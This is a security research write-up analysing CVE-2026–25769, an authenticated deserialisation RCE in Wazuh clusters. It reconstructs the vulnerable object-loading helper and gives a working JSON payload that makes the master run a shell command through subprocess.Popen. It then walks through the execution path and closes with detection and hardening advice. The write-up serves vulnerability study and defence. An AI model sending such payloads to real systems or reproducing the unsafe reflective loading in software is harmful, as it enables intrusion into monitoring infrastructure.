Abstract

A technical analysis of the authenticated remote code execution vulnerability affecting clustered deployments of Wazuh via insecure object deserialisation and unsafe dynamic module loading (CVE-2026–25769).

Wazuh is an open-source XDR/SIEM platform providing endpoint monitoring, threat detection, log aggregation, distributed telemetry collection, and security orchestration capabilities across clustered infrastructures [1]. The platform supports multi-node deployments consisting of master and worker nodes communicating through authenticated and encrypted internal cluster channels.

This research examines the vulnerable object reconstruction mechanism within cluster communications, demonstrates how attacker-controlled JSON structures influence Python runtime behaviour, and analyses how authenticated worker nodes can achieve arbitrary command execution on the cluster master through unsafe reflective object loading.

The vulnerability highlights a broader architectural issue increasingly present within distributed security systems, orchestration frameworks, and autonomous infrastructure platforms: implicit trust between authenticated internal components combined with dynamic runtime execution primitives [2][3].

Technical Analysis

Vulnerability Overview

CVE-2026–25769 is an authenticated remote code execution vulnerability affecting clustered deployments of Wazuh.

The flaw originates from unsafe object reconstruction logic within internal cluster communications, allowing attacker-controlled JSON data to influence:

  • Python module imports
  • Runtime class resolution
  • Object instantiation behaviour
  • Execution-capable constructors

The vulnerability ultimately enables arbitrary operating system command execution on the cluster master.

Vulnerability Classification

  • CWE-502: Deserialization of Untrusted Data [4]
  • CWE-470: Use of Externally-Controlled Input to Select Classes or Code [5]
  • CWE-94: Improper Control of Code Generation

Cluster Architecture

Wazuh cluster deployments consist of:

  • Master coordination nodes
  • Distributed worker nodes
  • Endpoint agents
  • Internal RPC-style communications

Worker nodes synchronise:

  • Security events
  • Configuration updates
  • Task execution
  • Orchestration state

Through encrypted cluster messaging channels.

Conceptually:

None

The critical issue was that the master node implicitly trusted authenticated workers to submit executable object metadata.

Vulnerable Object Reconstruction

The vulnerable logic centred around the helper function:

as_wazuh_object()

Conceptually, the implementation resembled:

from importlib import import_module

def as_wazuh_object(dct):

if '__wazuh_object__' in dct:

metadata = dct['__wazuh_object__']

module_name = metadata['__module__'] class_name = metadata['__class__']

module = import_module(module_name)

cls = getattr(module, class_name)

return cls(*metadata.get('args', []))

This creates a highly dangerous execution flow:

Attacker-controlled JSON | Dynamic module import | Runtime class resolution | Unsafe object construction | Arbitrary execution behaviour

The deserialisation layer effectively exposes Python's runtime reflection mechanisms directly to attacker-controlled input [2].

Unsafe Dynamic Imports

The primary dangerous primitive was:

import_module(user_controlled_module)

combined with:

getattr(module, user_controlled_class)

Dynamic imports are commonly used in:

  • Plugin systems
  • Extensible architectures
  • Orchestration frameworks
  • RPC handlers

However, allowing untrusted input to directly influence runtime imports transforms the Python interpreter itself into an attack surface [2][4].

Python Runtime Abuse

Unlike traditional memory corruption vulnerabilities, Python deserialisation vulnerabilities frequently rely on abusing:

  • Reflective execution
  • Executable constructors
  • Import-time behaviour
  • Runtime object resolution

Python's standard library already exposes numerous execution-capable primitives:

  • subprocess.Popen
  • os.system
  • pty.spawn
  • multiprocessing.Process
  • runpy
  • pickle
  • code

This significantly lowers exploit complexity [6].

Exploitation Strategy

Initial Access Requirement

The attacker first requires:

  • Worker node compromise
  • Cluster credential access
  • Authenticated cluster communication capability

Although authenticated, this remains realistic because:

  • Edge systems are commonly compromised first
  • Workers typically have broader exposure
  • Internal trust assumptions are weaker
  • Distributed architectures expand lateral movement opportunities

Malicious Payload Construction

A crafted JSON structure can abuse unsafe object reconstruction:

{ "__wazuh_object__": { "__module__": "subprocess", "__class__": "Popen", "args": [ ["/bin/bash", "-c", "id > /tmp/pwned"] ] } }

When processed, the vulnerable deserialisation path effectively executes:

subprocess.Popen( ["/bin/bash", "-c", "id > /tmp/pwned"] )

On the master node.

Execution Flow Analysis

Step 1: Cluster Message Reception

The master node receives encrypted cluster traffic:

message = receive_cluster_message()

Step 2: JSON Parsing

The payload is deserialised into Python structures:

obj = json.loads(message)

Step 3: Vulnerable Reconstruction

The unsafe helper processes attacker-controlled metadata:

restored = as_wazuh_object(obj)

Step 4: Dynamic Import Resolution

Execution reaches:

module = import_module("subprocess")

Step 5: Runtime Class Lookup

The runtime resolves:

cls = getattr(module, "Popen")

Step 6: Arbitrary Execution

Finally:

cls(["/bin/bash", "-c", "id"])

Results in arbitrary operating system command execution.

Why subprocess.Popen Was Ideal

subprocess.Popen is especially dangerous within deserialisation contexts because:

  • Execution occurs during instantiation
  • Constructor arguments directly control command execution
  • No additional method calls are required
  • Execution behaviour is deterministic

This makes it an ideal deserialisation gadget [6].

Reliability Analysis

The vulnerability was highly reliable because:

  • No ASLR bypasses were required
  • No shellcode was necessary
  • No race conditions existed
  • No heap corruption occurred
  • Exploitation used intended runtime behaviour

The exploit path relied entirely on stable Python execution semantics.

This is one reason logic-level RCE vulnerabilities are increasingly dangerous within modern distributed systems.

Fernet Encryption Analysis

Cluster communications used Fernet encryption for transport protection.

Conceptually:

encrypted = fernet.encrypt(payload)

However, encrypted malicious input remains malicious input.

Transport encryption protects:

  • Confidentiality
  • Integrity
  • Authentication

But does not validate:

  • Runtime safety
  • Object legitimacy
  • Execution behaviour

The vulnerability therefore remained fully exploitable despite encrypted cluster communications [7].

Trust Boundary Collapse

The core architectural flaw was implicit trust between internal components.

The effective security assumption was:

Authenticated worker == trusted worker

Once a worker becomes compromised:

  • Cluster messaging becomes an attack surface
  • Orchestration channels become execution channels
  • Internal trust becomes lateral privilege escalation

This represents an increasingly common failure pattern in:

  • SOAR platforms
  • XDR infrastructure
  • AI orchestration systems
  • Distributed automation frameworks
  • Agentic execution pipelines

Detection Opportunities

Suspicious Runtime Imports

Unexpected imports of:

  • subprocess
  • pty
  • socket
  • os

Within cluster communication handlers may indicate exploitation.

Child Process Creation

Unexpected:

fork execve clone

Events originating from Wazuh services should be investigated.

Anomalous Cluster Payloads

Indicators include:

  • Unusual object metadata
  • Unexpected module references
  • Malformed exception structures
  • Oversized JSON objects

Defensive Recommendations

Eliminate Runtime Object Reconstruction

Avoid:

  • Attacker-controlled imports
  • Runtime class resolution
  • Unsafe reflective behaviour

Prefer:

  • Explicit allow lists
  • Strict schemas
  • Static object mappings

Treat Internal Components as Hostile

Zero-trust principles must apply internally.

Authenticated components should not automatically receive:

  • Execution trust
  • Orchestration authority
  • Deserialisation privileges

Restrict Dangerous Runtime Capabilities

High-risk modules:

  • subprocess
  • importlib
  • pickle
  • eval
  • exec

Should be heavily restricted in sensitive execution paths [3][4].

Broader Implications

This vulnerability pattern increasingly appears within:

  • AI agent frameworks
  • Autonomous orchestration systems
  • SOAR platforms
  • Distributed execution pipelines
  • Remote automation frameworks
  • MCP-style architectures

The dangerous pattern is:

Structured input | Dynamic capability resolution | Runtime execution

As organisations increasingly adopt autonomous AI-driven operational systems, similar trust-boundary failures will likely become significantly more prevalent.

Footnotes

[1] Wazuh positions itself as an open-source XDR and SIEM platform for endpoint and cloud workload monitoring.

[2] Dynamic imports are not inherently unsafe; the vulnerability arises when attacker-controlled input influences runtime execution paths.

[3] Python deserialisation vulnerabilities frequently provide stable execution primitives because exploitation leverages intended runtime behaviour rather than undefined memory states.

[4] Unsafe deserialisation vulnerabilities remain a recurring root cause across distributed systems, RPC frameworks, and orchestration platforms.

References

[1] Wazuh. [Wazuh Official Website](https://wazuh.com) (accessed 10 May 2026).

[2] Python Software Foundation. [importlib — The implementation of import](https://docs.python.org/3/library/importlib.html) (accessed 10 May 2026).

[3] OWASP Foundation. [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) (accessed 10 May 2026).

[4] MITRE. [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) (accessed 10 May 2026).

[5] MITRE. [CWE-470: Use of Externally-Controlled Input to Select Classes or Code](https://cwe.mitre.org/data/definitions/470.html) (accessed 10 May 2026).

[6] Python Software Foundation. [subprocess — Subprocess management](https://docs.python.org/3/library/subprocess.html) (accessed 10 May 2026).

[7] Python Software Foundation. [cryptography — Fernet symmetric encryption](https://cryptography.io/en/latest/fernet) (accessed 10 May 2026).

[8] OWASP Foundation. [OWASP Top 10 — Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures) (accessed 10 May 2026).